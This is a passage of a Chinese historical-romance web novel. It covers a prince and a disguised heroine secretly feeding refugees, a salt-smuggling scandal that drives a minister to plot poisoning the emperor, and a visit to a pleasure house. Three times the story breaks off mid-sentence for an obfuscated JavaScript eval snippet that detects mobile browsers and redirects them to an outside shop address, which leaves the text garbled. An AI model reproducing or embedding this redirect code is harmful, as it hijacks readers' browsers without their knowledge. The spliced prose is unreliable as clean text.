这日，车队在平直的驿道上走着。地势平坦开阔，星星点点散落着村庄。季辞秋掀起车幰往外看去，同叶望共处一车的这几日，起初她很不自在，每天数着时辰盼着驿站，后来逐渐习惯，才放松了些。 而反观对面这位，倒是自始至终怡然自乐，仿佛当她是空气。不过也没什么可乐，一路上叶望大多时间阖目端坐，季辞秋偷偷观察过，他能从日头当空坐到日头西斜，如入定一般。 好可怕的定力，听闻习武之人均会打坐调息，谓之“抱元守一”，便是如他这般吧。季辞秋暗暗想，又想起自己现今亦是习武之人，遂照葫芦画瓢，有模有样地学着叶望的动作，闭目静坐。 没坐一会儿，道上传来嘈杂人声，夹杂着呵斥声。季辞秋一个激灵，掀开帘幕。 宽阔的驿道上，不知从何处涌出一群流民。不论妇孺孩童均衣衫褴褛，灰头土脸，枯叶般扑在路上，缝缝补补的破布衣下露出紫红的皮肉。 “官人行行好，给口饭吃。”一妇人捧着豁口的破碗苦苦哀求，碗高高举起，露出一截枯瘦的手臂。一旁站着一孩童，静静看着车队，眼神空洞。 “让开！晋王殿下车驾，冲撞者斩。”庞谨早已步至队伍前列，勒着马缰，居高临下道。 “慢着。”一道男声响起，叶望不知何时睁了眼，肉眼可见地皱了眉，起身下车。他冷冷扫了一眼庞谨，目光寒凉：“还剩多少干粮？” 庞谨身形一顿，双目沉下：“回殿下，连日耗用，存粮将罄，须往前方驿馆添置粮秣。” 叶望默了默，径直走向驼粮的马车。 “殿下，此行粮草所备之量由殿中省计量，后路不可随意增补。”庞谨高声提醒道。 “从本王的份例中扣。”叶望动作未停，解开装粮的布袋。 流民眼巴巴地看着，待布袋着地，蜂拥而上争抢起来。率先抢到的人还未拿稳，便被旁人推倒，来势汹汹的人流踏过去，没再动了。求生的本能跃起，各人都使出浑身解数，相互撕扯着头发，不惜拳脚相向。 一时间，骂声尖叫声哭喊声交杂，回荡在原野上，如凄厉鬼嚎。 “不要抢——”葵生忍不住道。 可饿疯了的流民哪听得进这个，红着眼继续争抢，欲拼个你死我活。一袋粮食很快被瓜分干净，胡乱生吞入腹中。 叶望握了握拳，回身问道：“此距驿亭几程？” “约莫十里。”庞谨答。 他沉默不语，闷头坐回车上，抬手示意启程。 日头西沉，残阳似血，静静躺在原野尽头，转瞬间被吞噬。黑暗笼罩上来，心头涌起未名的荒芜。 车上气氛不似先前，季辞秋被方才众人哄抢一幕震颤，久久难以平复。 “王爷仁慈。”她低声道。 叶望看了她一眼，没出声。 “不知这些流民从何而来。”季辞秋自言自语道。 叶望沉默，驻守边关时，常闻中原物阜民丰、衣丰食足，不曾想竟有这般多挨饿受冻之人。 这么些年，见惯了战场厮杀的断臂残肢，可目睹方才一幕，仍痛切心骨。 陇西不会放任这般多的流民。 他想起一年春耕，自西边逃来许多流民，均为黑户。彼时季恪顶着压力尽数收留，令他们自力更生、安居乐业。 那时的一切太过美好，美好得似黄粱一梦，要一次次用现实狠狠将他撞醒。 他曾以为，守好陇西便已足够。后来才明白，一个手中无权的亲王，是护不了陇西的，更何谈天下。 —— 因着路上耽搁，到驿馆时已近戌正。众人匆匆卸了包袱，胡乱对付几口，回屋歇息去了。 一时嘈杂的驿馆渐渐安静下来，四下无人，马厩旁的侧门缓缓打开，一道修长身影走了出来。 叶望身着玄色短袍，负着包裹，谨慎而出。忽得他脚步一顿，似听到什么动静，侧身隐入黑暗中。 马厩后窸窸窣窣，现出一道人影，叶望屏息盯着，定睛一看，竟是白轩。只见她左顾右盼，提着一大包什么，小心翼翼地绕过正门，欲从侧栏翻出。 这么晚了，她要去何处？叶望眯了眯眼，悄声跟了上去。 夜路昏暗，幸得明月高悬，不致迷失方向。他远远跟着季辞秋，见她一路向南，心中的疑惑愈来愈大。 不知过了多久，前方埋头行路的人忽得停下，四处张望，似在搜寻什么。官道一侧延伸出一条羊肠小道，路尽头的石堆后，隐隐有些光亮，她疾步向那边赶去。 近了，细碎的呻吟声逐渐清晰，只见石堆后围着火堆，三三两两坐着些人，是先前乞讨的流民。 那些流民有的抢到粮食草草填了肚子，有了些力气便继续向南赶路。而未抢到的那些，只能饿着肚子留在原地，节省些体力。见有人来，他们惊惧异常，却无力逃跑，只能哆嗦地蜷在一角。 “别怕，我是来送粮的。”季辞秋将手背后，安抚道。 流民听到粮，眼睛一亮，躁动起来。 “但我有一条件，”她紧接着道，“需按序分粮，不可争抢，若有人抢，我即刻收粮便走。” 众人眼巴巴地看着，纷纷点头。 季辞秋解开包袱，里面是金黄的黍米。流民眼中泛光，如饿极的老虎看见猎物，蠢蠢欲动。 她将包袱往后一收，高声道：“排好队，莫急，人人有份。” 送到眼前的粮被收，流民急不可耐，只好强压着冲动胡乱排好队，挨个领粮，场面一时井然有序。 叶望伏在石堆后看着，眼神晦暗不明。寒夜凉气袭来，沁入骨肉。 熊熊火堆旁，那人的身影单薄，亭亭而立。许是走得急，脸上映着两团红晕，被火光撩得分外惹眼。明眸掠过，留下丝丝缕缕的暖意，可融化春水。 他悄声移开视线。一路上，他循着她的方向，心中已有些猜测。只是他不信竟有这般巧合，叶望低头看了看手边的包袱，哑然失笑。驿站安顿好后，他趁人不备自马厩解了袋干粮，正打算送至此处。没曾想竟有人同留了此心思。 旷野风紧，吹得火星迸溅，落在荒芜的地上，悄无声息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877622|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地燃起一点微光。他默默候着，待季辞秋分完离开，才上前。 季辞秋埋头快步走着，听着肆虐的风从耳边呼啸而过，心中一阵发毛。方才去时她一心送粮，顾不得其他，而今回程才害怕起来。 夜已深，黑黢黢的官道寂静无人，若有若无地传来几声呜咽，幽深地瘆人。 她极力压制脑中不停冒出的坏念头，只恨不能化身飞毛腿，一溜烟地回到驿馆。 正想着，道旁漆黑的夜色里，有数对光点往这边移动。季辞秋心下奇怪，不敢深究，只加快脚步。哪知光点随着她的动作移动地更快了，分散着向她靠近，欲将她包围。 近了，季辞秋才意识到，是狼群。 说时迟那时快，一只野狼吼叫着向她扑来。她心中恶寒，本能地抽出短匕狠狠刺过去。随着一声呜咽，鲜血四溅，狼应声倒地。 其余的狼并未被吓退，反而更加愤怒，嘶吼着前赴后继。 狼的数量众多，季辞秋奋力抵抗，寡不敌众，被扑到了地上。 面前的狼凶狠地张着嘴，露出锋利的獠牙，欲咬她的脖颈。季辞秋被压着动弹不得，感受到热气扑来，她猛地闭眼。 想象中的痛感还没到来，忽得那狼身子一抽，毫无征兆地倒下。 季辞秋连忙推开，正欲爬起身，又一只狼要扑上来。 “当心。”黑暗中响起一道男声，那只狼应声倒地。她又惊又喜，忙退至那人身旁。火光燃起，那人不知从何翻出一张火折，引燃木枝，照亮如墨般的眉眼。 “王爷？！”季辞秋错愕，顾不上多想，接过燃烧的木枝，在狼群面前挥舞起来。狼群见着炙热的火光，频频后退，绕着二人打转。 季辞秋与叶望背抵着背，各执一火把，与狼群紧张对峙着。寂静的原野，近在咫尺的距离，能听见砰砰的心跳声。 狼群徘徊了一会，见无机可乘，不甘心地低吼了一声，快步离开了。 劫后余生，季辞秋紧攥着火把，仍不敢放松。 “它们走了。”叶望放下火把，淡淡道。 她回过神来，松了口气。 “王爷为何在此？”季辞秋斟酌再三，忍不住问。 叶望淡淡瞥了她一眼，回问：“你为何在此？” …… 二人沉默，无星的夜里，万物静悄悄地沉睡着，夜色仍浓郁得紧，但因有人同行，黑暗似乎不再可惧。 在到达驿馆前，季辞秋熄灭了火把。 翌日，众人休整完毕，正准备上路。忽得黎叔从马厩中急急跑出：“怪了，我翻来覆去数了几次，这粮草不知为何少了两袋。” “怎会如此？”驿长闻言脸色一僵，“我昨日特地数过，整整十袋分毫不差。” 两袋？季辞秋闻言一愣，昨夜她偷跑出去，只解了一袋。 莫非……她抬眼看向叶望。 “许是夜里盗贼光顾。”叶望移开眼，面不改色道。 “那这......”黎叔为难道。 “无碍，早些出发，路途上省些时日便是。”叶望负手上了马车。 季辞秋心下了然，弯了弯嘴角，跟了上去。 38. 败露 马车沿着官道北上至汴州，折转向西。到崤山一带，山势陡然峻峭，车队在千盘道上蜿蜒而行，崖畔频频滑下落石。 行程已过大半，这些时日，广陵的私盐进展迅速，私盐仓的人被抓，不堪刑讯，在狱中供出了背后之人，宋延顺此深挖，竟查到专管贩运的盐铁使刘桦参与其中。盐铁使隶属中央，乃朝廷重臣，此事已超宋延权责之内，遂书牒文加盖官印，连同漕船案的货物单据等一众证物，派亲信飞马入京。 时至九月中，秋意渐浓。山中雾气弥散，层林尽染，日光照射下，呈现出清透又绚烂的金色，美不胜收。叶望掀帘看了看窗外，沉声道：“还有几日入京？” “回殿下，若不耽搁，约莫还需七日。”前头驾马的人道。 叶望眼梢微眯，七日，宋延的亲信也该经过此地了。 “嘶，慢点。”季辞秋骑在马上，紧张地勒着缰绳。行程过半时，她的伤口已不似先前脆弱，复又骑上马。 奈何没走多久便入了崤山，她只好硬着头皮驭马上山，紧紧攥着绳子，生怕马一个激灵，带着她滚下山崖。 “嘿，你拉得这般紧，马不快便怪了。”葵生闲庭信步，瞟了她好几眼，忍不住道。 季辞秋闻言，尴尬地笑了笑，稍稍放松了些。 忽得身后传来急急马蹄声，只见两个身着官袍的人策马疾驰而来。 “京城急报，速速让行。”为首的一人扬声道。 山路狭窄，众人听了，纷纷靠至山壁一侧，骏马迅疾而过，踏起一地尘灰。 “呸，”最外侧的葵生一个不留神，吃了一嘴土，悻悻道，“也不知出了何事，这般急。” 季辞秋看着前方远去的背影，若有所思。方才那人的口音，听着与广陵人的十分相像。 她回头看了一眼叶望的马车，只见叶望不知何时掀开帘子静静看着前路，眸中闪过细碎光芒。 她心头微动，隐隐觉察此事与广陵有关。若当真如此，只怕这京城，很快便要变天了。 得赶紧回去。季辞秋拢了拢衣裳，低伏身子，加快了速度。 —— 牒文先于叶望一行三日送达京城，上禀的那日，景帝正同众臣商讨兴修丹房一事。 “何事这般着急？”被突然打断，景帝皱着眉，有些不悦。 “陛下，淮南节度使急报。”亲信跪伏在地，双手捧着一份牒报。 景帝听到淮南节度使，揉了揉颞颥，支会左仆射任经恒道：“任老，看看写了什么。” 任经恒应是，上前接过卷轴展开，眉头愈皱愈紧。 “何事？”景帝见他半晌不语，催促道。 “回陛下，宋节使启奏，月初于淮南道巡查时发现盐场三处，岁贩私盐逾万石，且背后似与盐铁使刘桦有关......” 此言一出，朝堂一震，顿时议论纷纷。 “竟有此事？”景帝脸上的肉抽了抽，吩咐左右，“呈上来。” 牒文很快被呈上，他细细看去，面色愈发阴沉：“胆大包天，竟敢在朕眼下行贪贿之事。” “盐铁之利，乃军国之本，还请圣上即刻明查。”任经恒上奏道。 “请圣上明查。”众官纷纷附和。 景帝紧抿着唇，看向一旁一言不发的陆定年：“陆老，你怎么看？” 陆定年僵在原地，忽得被点，脸色白了白，强颜欢笑道：“陛下，臣以为，盐铁使管盐铁贩运，背地里行私盐勾当，未免太过蹊跷。” “有何蹊跷？”景帝冷哼道，“监守自盗罢了。” “此事风险极大，盐铁使放着好好的官位不做，铤而走险......”陆定年还欲争辩。 “这么说，是朕冤枉他了？”景帝打断他的话，冷冷道。 陆定年噤声。 “传旨，即刻锁拿刘桦进京，着三司会审。再派钦差彻查江淮盐务，若属实，凡涉案官员，无论品级，一律严惩不贷。” 天子震怒，宫中哗然。先前同盐铁使交好之人忙着撇清关系，生怕被牵连。此时最焦头烂额的，当属陆定年了。 “何时的事？怎得被查出了？”陆定年在府中来回走动，焦躁不安。 “这月初的事，据说是宋节使亲自查的。”属下回道。 “宋延？他不是沉迷练兵，不理官事许久了？”陆定年皱眉。 属下沉默。 眼下顾不上这些，他拧眉沉思，目中杀意尽显，凑近低声道：“算算日子，带些人守在押送刘桦进京的路上，必不能让他活着回京。” “是。”属下退下。他心中踌躇，还未着座复又站起，理了理官服，进宫去了。 永春宫，陆容音身体突发不适，请了太医院的人把脉问诊，眼下在偏殿。 “娘娘有何不适？”屏风一侧声音响起。 “人都走了。”陆容音恹恹撑着身子，出声提醒。 “容音，大事不好了。”确认无人，陆定年急急道，“盐铁使刘桦私盐之事暴露，眼下圣上下令彻查，只怕会牵连我。” “私盐？”陆容音愣了愣，“你有牵扯其中？” 陆定年沉默良久，直言道：“刘桦是我的人，私盐之事是我让他做的。” 陆容音一时未反应过来，张了张嘴，这才意识到他说了什么。 “你是说，私盐之事，你是背后主使？”她有些不敢置信，颤声道。 “是。”陆定年面色凝重。 陆容音惊愕，一时不知该说些什么，只沉默着。 见她不语，陆定年隔着屏风，抓住她的手：“容音，兄长这么做，都是为了你和朗儿啊。” 陆容音闭了闭眼，挣脱开来。 “容音，你就忍心看兄长落难，袖手旁观吗？”陆定年痛声道。 “兄长，你我早已是一条绳上的蚂蚱，何来袖手旁观。”她面无表情地戳穿。 陆定年收回手，沉着声：“妹妹聪慧。” “要我做何？”她叹了口气，疲惫道。 陆定年谨慎朝四周看了看，从袖中摸出一个油纸包，压低声音道：“此为云母粉，其中掺雄黄，混入御膳房的补身药膳，久服则肝损腹水。” 又摸出另一包纸：“此为鹤顶红，入口立毙，非不得已不用。” 陆容音脸色白了白，明白了他的意思，迟迟未接。 “兄长，此为弑君，乃灭族大祸。” 陆定年点头，双目黯沉：“可若私盐一事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885372|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败露，你我亦不可善终。” “兄长也不愿行至此步，兄长亦是被逼的，”他深吸一口气，缓缓道，“这场戏，不是你死便是我活，该怎么做，妹妹权衡吧。” 他将两包纸塞至陆容音手中，重重拍了两下，缓步离开。 时已入秋，碧蓝的天穹格外高远，偶有雁阵掠空，鸣声穿过疏枝，在空荡的院中回荡。 陆容音僵坐在原地，眸中一片死寂。 “母后。”叶朗的声音自殿外传来。她忙将手中的纸收入袖中，收拾好情绪，迎了上去。 “怎么过来了，可有给父皇请安？”她暗淡的眼眸弯了弯，透出一丝温和。 叶朗点头，凑近看了看她的脸色，小心翼翼道：“母后近来可好？” 陆容音摸了摸他的头，挤出一个笑：“一切安好。” 叶朗却不相信：“母后每次都这样说，可我瞧母后脸色，分明是有烦心事。” “母后别再敷衍朗儿了，同朗儿说说，解解闷也好。”叶朗盯着她的眼睛，认真道。 陆容音默了默，叹了口气：“傻孩子，母后何时敷衍过你。” “此时此刻。”叶朗不依不饶。 陆容音无言，垂头抚平折皱的衣摆，忽得自顾自道：“朗儿，何为明君？” 叶朗不防母后问此，顿了顿，略微思考后娓娓道：“建宁政要有言，‘以铜为镜，可正衣冠；以人为镜，可知得失。’朗儿以为，明君当以万民为镜，以治江山。” “那何为良臣？” 叶朗想了想，对答如流：“良臣当如孤松独立，不为君王喜恶折腰，只为天下苍生请命。” “若为一己之私，而罔顾纲常礼法，当如何？” “那便如断桥桩而自渡急流，纵得片刻安稳，终将崩于浪涛。” 终将崩于浪涛吗？陆容音望着窗外的金桂出神。 “母后，”叶朗唤她，“母后何故问此？” 她回过神来，忽觉胸中释怀，咧出一个笑：“怕你疏于学业，考考你。” 似是感受到她的情绪，叶朗亦笑起来：“朗儿才不会，前阵子父皇才夸过我，夸我敏而好学，不耻下问。” 陆容音慈爱地理了理他的衣襟。 “对了，”叶朗忽地想起什么，眼神一亮，“再过几日，五哥哥便要回京了。先前他说带些广陵的书法篆刻予我，不知会带些什么。” “等我拿到了，也给母后瞧瞧。” 忽然提及叶望，陆容音心中复杂，她看着眼中难掩期待的叶朗，张了张嘴，终究没说什么。 母子二人在殿中有一搭没一搭地闲话，不觉时光流逝。直到典学太监执拂尘立于宫外，朗声请叶朗移驾文华殿进学，方知已是午后。 “去吧。”陆容音坐在原地笑吟吟地招手，目送叶朗离去，心中感慨。今岁不知何时，她偶然发觉，叶朗已开始褪去稚嫩，圆润的脸庞初显棱角，声音也低沉了些。起初她还不甚习惯，而今与他一席对话才惊觉，她的朗儿是真的长大了。 她看着叶朗远去的背影，捏紧袖中的纸包，目光逐渐坚毅。久居深宫，生死浮华于她早已无异，唯一挂念的只有朗儿。 她要为朗儿争出一片天来。 39. 阁主 历经一月多的风雨兼程，叶望一行终于抵达京城。回府已近日晚，季辞秋与葵生疲惫不堪，草草卸了包袱，便洗漱歇息了。 季辞秋躺在床上，心绪不宁，迟迟难以入睡。依着历史上的节点，陆定年一党不久便将倒台，九皇子随之势微。但因着她的意外介入，历史是否会随之更改，不得而知。而且她怎么也想不通，经历了贪盐案，没了母族支撑的叶朗，是如何坐上皇位，成为最终赢家的。 针对这点的历史记载模糊，并未言明，以致她初看时深觉疑惑，只得解释为叶玄与叶望多行不义，自掘坟墓。如今看来，并非这般简单。 她一边想着，眼皮逐渐沉重，沉沉睡去。 她又做了一个梦。 梦里，她回到了季府，又见到了那位面容清丽的妇人。时值新岁，府内张灯结彩，季辞秋看见自己穿着新做的织金阔袖袄子，躲在正堂的屏风后探头探脑。顺着目光，只见厢房一侧隐约现出男子的身影，伴随爽朗笑声。 “阿秋，过来。”妇人挽着男子自房中走出，笑着同她招手。 她听话地跑过去。 “阿秋，可还认得我。”男子凑近，面中刻着粗粝的细纹，不掩俊朗的容貌。 “爹爹。”她细声道。 季恪心中欢喜，揉揉她毛茸茸的脑袋，将她抗至肩头：“走，爹爹陪你看花灯去。”身后传来妇人的笑声。 就这样，她坐在季恪的肩头，越过重重人群，来到朱雀大街上。各式各样的灯层层叠叠，汇成一条暖黄色的长龙，蜿蜒至深巷。季恪将她放下，拉着她去看街边的铺子。 人潮涌动，她沉迷于小兔子小鸟式样的糖画，再一抬头，身边已空无一人。她慌张地东张西望，在人群里穿梭，寻找季恪的身影。 忽地迎面走来两位轻裘宝带的小公子，她一时刹不住，与其中一人撞了满怀。 “什么人？”一旁的伙伴戒备起来，见是个小娘子，稍稍放松了些。 “你还好吗？”被撞的人纹丝未动，俯身朝她伸出手。一双桃花眼尚未褪去青涩，里头覆着丝丝缕缕的霜雾。 竟是少年时的叶望。 “无事。”见着这般貌美的小公子，她有些羞涩，自己从地上爬起。 “阿秋！”远处传来季恪焦急地呼唤，她连忙仰头看去。密集的人群不知何时消失，变为一道火海，她在火海中找啊找，怎么也找不到阿爹了。 “白轩，白轩！”葵生摇着季辞秋的肩头，欲将她唤醒。 已是日上三杆，他见她房门紧闭，心中奇怪，遂推门进屋。哪知一进屋，便见她躺在床上紧锁眉头，额冒冷汗。 季辞秋一个抽气，猛地惊醒。看见面前的葵生，她呼了口气，稍微平复。 “嚯，你可吓死人了。”葵生见她醒来，猛拍胸脯，“我叫你多下你都毫无反应，跟着了魔一般。” 季辞秋擦了擦额头的汗：“几时了？” “过了辰时了。王爷入宫晨省，眼下都回来了。” —— “五哥哥，这都是给我的？”府中别院，叶朗望着一桌形态各异的篆刻，惊喜道。 叶望看了他一眼，点点头。 叶朗捻起其中一枚，细细端详。这是一枚羊脂白玉私印，印纽上一只栩栩如生的灵鼍盘踞，鳞甲以细若游丝的阴线刻就，层次分明。鼍首微昂，双目镶嵌墨色宝石，炯炯有神。 他拿在手中，爱不释手。 正说着，一小厮自外头而来，见着叶朗，退至一边。 “五哥哥，我还有课，”叶朗捧起一堆印章，尽数收入囊中，冲他咧嘴一笑，“这些我都收下了，谢谢五哥哥。”说着一溜烟地跑了。 “何事？”叶望看着来人道。 “千秋阁阁主听闻王爷回京，捎人叫王爷去阁中坐坐。”小厮如实转述。 季辞秋躲在围墙后张望许久，见叶望披衣出府，才小心翼翼地踏出门。 怀着忐忑的心绪，她进了一座临水小院。假山旁立着一身着蟒纹长袍的背影，她深吸一口气，伏跪道：“殿下。” 叶玄转过身来，怀中抱着一只狸猫。 “殿下有何吩咐？”季辞秋恭敬道。叶玄行事阴沉，随心所欲，常令她心生不宁。 “广陵的事，你做得很好。”叶玄慢条斯理地抚摸着狸猫，微笑道。 季辞秋顿了顿，垂首道：“全依仗殿下英明。” 似是被她这副奉迎的模样逗乐，叶玄心情极好，走上前。怀中的狸猫挣扎了一下，被他一手按住。 “抬起头来。”他懒懒道，语气中暗藏压迫。 季辞秋心中发紧，迟疑了几秒，感受到一只手勾着她的下颌，迫使她抬起头。 叶玄欺身而上，细细端详她的脸。柏水染黄的皮肤和膏体调整过的轮廓未能掩去清亮的眉目，反衬得她愈加清丽。 起初他以为她是涸池之鱼，生死全在他一念之间。可这鱼狡黠非常，尽力挣扎的样子有趣极了，竟叫他不舍起来。 “确是别有一番风味。”他自顾自道。 忽然，狸猫一个打挺，挣脱了他的怀抱，他脱口而出：“阿秋。” 季辞秋浑身一僵，疑心自己听错，不敢与叶玄对视。 叶玄却毫不在意，嗔骂道：“真不听话。”他收回钳制她的手指，见她不动声色地朝后退了半步，垂头不语，似拒人千里之外。 他勾唇笑了笑，若无其事地回到正题：“盐铁使刘桦贪贿私盐，依你之见，背后可另有主谋？” 季辞秋沉默，思索片刻道：“卑职以为，此事与陆仆射有关。” 叶玄闻言，眸中精光一闪：“何以见得？” “直觉所言，”她定定看着叶玄，“全凭殿下敢不敢当真。” 叶玄瞥了季辞秋一眼，见她神情认真，不似儿戏，嘴角微微扬起：“季姑娘若这么说，本王不得不当真了。” 季辞秋垂头不语。 “王爷，新沏的茶好了。”冷不丁插进来一个女声。 季辞秋抬头，见绿蔓端着茶盘而来，防备地盯着她，目光不善。 “有劳。”叶玄捻起茶盏，一饮而尽。绿蔓忙俯身接过茶盏，目光柔和。 季辞秋抿了抿嘴。“殿下可还有事？若是无事，卑职告退了。” “耽搁太久，怕引人怀疑。”她补充了一句。 “去吧。”叶玄点点头，看着她离去的背影，眸中闪过微光，被绿蔓看在眼里。 “王爷，此茶如何？”她强颜欢笑，故作轻松地询问。 “太浓了。”叶玄未曾细品，敷衍答道。 她有些失落，乖顺地收好茶盘，退了出去。 —— 叶望着一袭乌金锦袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899806|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，踏入千秋阁。暖香混着丝竹声浪扑面而来，引路小婢提着琉璃灯，绕过云母屏风。 中庭舞台正中的女子足尖轻点，金铃脆响，裙裾旋开时仿佛千朵海棠骤然绽放，激起台下一阵喝彩。曲怜儿敛衽施礼，忽见人流后的长身玉立的身影，微微一笑，脸上不可察觉地飞上两团红晕。 “殿下，这边请。”婢女伏着身道。叶望沿着雕木楼梯上了二楼，绕过回廊嬉笑打闹的女子，待到最里间的厢房时，怀中不知何时多了一朵芙蓉。 他沉默拿下，推门入内。 珠帘半卷，壁上悬着幅褪色的《寒宫夜宴图》，女子斜倚在贵妃榻上，一身朱砂红的宽大袍子，眉眼间藏着岁月打磨过的锋利艳光。 见着叶望手中的粉嫩，她低笑：“玉笙这孩子，年纪虽小，行事倒是张狂。” “妾身回头敲打敲打，还请殿下莫放心上。” 叶望笑了笑，示意无碍。 “阁主寻本王何事？”他坐至窗边，斟了盏茶。 寒芳落懒懒直起身，嘴角带笑：“不瞒殿下，千秋阁近日确是碰着硬茬。” 她目光冷冷：“前些日子，有个不长眼的醉鬼欲对姑娘用强，我按楼里的规矩处理了，将他请了出去。之后才知那人是城西赌坊千金坊的二当家，浑名过山虎。昨日他差人来放话，说往后要天天带着弟兄们给千秋阁‘捧场’。” “我知千金坊背后有京兆尹的关系，若是硬碰硬，难免会惊动官府，闹出不必要的动静。”她语气微沉，看向叶望，“不知可否借殿下之势，予以震慑。” “不必大张旗鼓，只需让他们知道，千秋阁并非无人问津的野草，让他们有所顾忌。”她补充道。 京兆尹？叶望眉目微沉，他常在千秋阁寻欢作乐，千金坊的人绝非不知，但照他们的架势，似乎并未放在眼里。 京兆尹的权势已经这般大了？他眼底闪过狐疑，勾唇道：“本王乐意奉陪。” 寒芳落眉头微展：“多谢殿下。”又想起什么，觑着叶望的脸色道，“怜儿探亲回来了，既签了梳拢，便是殿下的人，殿下若是想见，随时招呼便是。” 叶望愣了愣。 “她这孩子，自小便有才气，又心性颇高，眼下是天天盼着殿下来。” 叶望没吭声，兀自岔开道：“此次回京，本王还有一事相求。” 寒芳落见他有意回避，目光闪了闪：“殿下请讲。” 叶望自袖中摸出一幅画像：“此人为前礼部司郎中，六年前勾墨案发，被施以极刑。” 寒芳落眉头微挑：“查一个死人？” 叶望点头：“人于世间，总归在人心中留了痕，本王想知此人生前风貌，还请阁主留意。” 寒芳落一口应下。 “若无旁事，本王告辞了。”叶望起身。 “不再坐会？”寒芳落亦站起，将他送至门外，见曲怜儿不知何时上了二楼。 “殿下。”曲怜儿倚在二楼的廊柱旁，微微福身，一双眼似秋水潋滟，眼波流转间欲语还休。 “本王还有事，下回吧。”叶望背身而立，婉拒道。 出了阁楼，他一边思索接下来的筹划，一边走着。冷不丁一人疾跑而来，他一时不防，与那人撞了满怀。 “哎呦，”季辞秋揉着额角，气喘吁吁，正欲道歉却一声惊呼，“王爷？” 40. 自由 叶望立在原地，见对面人面色微红，气喘吁吁，黑了黑脸。 力气倒不小。方才他沉迷思虑，毫无防备，胸口被她这么一撞，竟差点伤了真气。 他微不可闻地顺了口气，忽见她周身一震，大叫不好，而后不顾尊卑礼法地拉起他的手臂便跑。 长幼有序，君臣父子，男女有别，叶望心中大震，脑中冒出一堆训诫，还未说出口，便听身后几声密集的犬吠。 ...... 他瞥了季辞秋一眼，只见她忙于扯着他奋力逃跑，匆匆回瞥一眼，一副待会解释的神情。 已近日入，街上人影稀疏，微凉的晚风中，他被牵引着，不知要往何方。 不论身份，无关礼法，三纲五常全都抛至九霄。此刻暮色四合的街巷中，他仿佛只是一个最寻常的友人。 这样的感觉，他从未体会。 叶望抿了抿嘴，任由她拉着，没有扯开。 季辞秋七拐八绕，闪身进了一道窄巷。 犬吠声渐止，她紧惕地四周张望，确认安全后，松了口气。 “好险。”她下意识地松了松衣襟，感受到一道寒凉目光投来，停了动作。 叶望站在愈发昏暗的光里，同她隔了些距离，看不清神色。 “王爷，且听我解释。”她忙安抚道，“方才我在街上走着，见一乞者蹲在墙角巴头探脑。待我走近，才见不远处的地上摆着一只烧鸡，我便上前拾了起来，欲给那乞者。哪知刚一捡起，不知从何处窜出来几条狗，追着我就跑。我将那烧鸡扔了，它们还不依不挠。” 季辞秋拍着胸脯，心有余悸：“早知是它们的，我便不拿了。” 叶望垂眸不语，一时不知该说些什么，只觉心中涌起奇怪的感觉，方才被她拉着的臂弯隐隐发烫。 他这是怎么了？才跑这么些路，便体力不支了？ 正想着，见季辞秋撩起袖子，急着要走。 “去哪？”他追问。 季辞秋回过头来，“方才的烧鸡没偷成，我给那乞者补一只，王爷先回吧。”她说着冲他咧嘴一笑，笑容在寂寥寥的黑夜中绽开，周遭都好似亮堂了些。 叶望静立在原地，看着她匆匆而去的背影，不自觉弯了嘴角。 —— 千秋阁，季辞秋寻了个散座坐下，继续托腮等待。叶望连着几日来楼中作乐，而她理所当然地重当起了车夫。 台上琴师五指在古筝上疾走，乐声如雨打芭蕉，一曼妙女子随之起舞翩翩，令人心绪荡漾。一曲终了，自天井飘下细碎花瓣。她抬头望去，有姑娘倚着栏杆笑闹，纤手一扬，海棠纷纷。 忽地，沉重的阁门被拍得哗哗作响。喧闹的堂内静了一瞬，下一秒，便见几个五大三粗的壮汉推门而入。 “几位爷，进来坐坐？”老鸨身形微颤，面上仍挂着笑。 领头的疤脸壮汉冷哼一声，将手中的长棍往桌上一撂，扬声道：“叫那婆娘出来！” 楼内的丝竹声戛然而止，众人被他的架势震慑，纷纷噤声。 老鸨匆匆上楼，没过多久，寒芳落拢着衣裳姗姗而来。 “呦，贵客来了，还不快快请坐。”她着一身海棠红云绫凤尾裙，云鬓松挽，笑得张扬。 “少跟小爷套近乎，”男子不吃这套，横着眉道，“前些日子，我们家公子在你这受了气，今日自你这讨回来。” “兄弟们，给我砸！”他一声令下，身后的壮汉齐齐抄起棍棒。 “慢着。”寒芳落站在二楼的台子上，居高临下，“千金坊的人来，我卖你们个面子，要打要砸也便罢了。只是今日楼中有位贵客，你们这般阵仗，若是惊着贵客，不知可担得起？” 此话一出，懂行的都知，这贵客是晋王殿下。 那疤脸壮汉亦听出话中之意，动作迟疑了几分。虽说千金坊家大业大又背靠权势，但头儿派他来之前，并未想过晋王会在楼中。 